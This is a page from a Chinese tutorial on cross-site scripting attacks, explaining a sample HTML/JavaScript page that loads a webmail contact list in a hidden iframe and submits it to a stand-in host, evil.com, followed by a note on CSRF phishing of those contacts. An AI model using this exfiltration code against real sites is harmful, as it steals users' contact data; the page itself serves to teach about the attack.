WEB开发网
开发学院网络安全安全技术 跨站脚本攻击深入解析(上) 阅读

跨站脚本攻击深入解析(上)

 2009-02-25 13:54:15 来源:WEB开发网   
核心提示: 下列JavaScript代码:< html > < body ><iframe style="display:none" name="WebmailIframe"src="http://webmail.foo.

下列JavaScript代码:

< html >

< body >

<iframe style="display:none" name="WebmailIframe"

src="http://webmail.foo.com/ViewContacts"> <!-- Step 1 -->

< / iframe >

< form action="http://evil.com/getContactList" name=”EvilForm" >

< input type="hidden" name="contacts" value="default value" >

< /form >

现在,您所有联系人都已经落入我们的手中了。

< /body >

< script >

function doEvil() {

var victimsContactList = document.WebmailIframe.innerHtml; /* Step 3 */

document.EvilForm.contacts = victimsContactList;

document.EvilForm.submit;

}

setTimeout("doEvil()", 1000); /* Step 2 */

< / script >

< / html >

第一步使用了一个名为WebmailIframe的iframe来装载http://webmail.foo.com/ViewContacts,它是webmail应用程序中的一个调用,用以收集用户的联系人名单。

第二步是等待1秒钟,然后执行JavaScript函数doEvil()。这个延迟能确保联系人名单被装载到iframe中。确认联系人名单已经被装载到iframe之后,doEvil()尝试访问在步骤三中的iframe得到的数据。如果同源策略被攻陷或不存在的话,攻击者就已经在变量victimsContactList得到了受害者的联系人名单。 攻击者可以利用JavaScript和该页面的表单将联系人名单发送至evil.com的服务器。

如果攻击者利用跨站请求伪造(CSRF)技术以受害者的名义向所有联系人发送电子邮件的话,情况会变得更糟:这些联系人将收到一封貌似来自朋友的电子邮件,并且在邮件中邀请他们点击http://www.evil.com/index.html。

上一页  1 2 3 4 5 6 7 8 9 10  下一页

Tags:脚本 攻击 深入

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接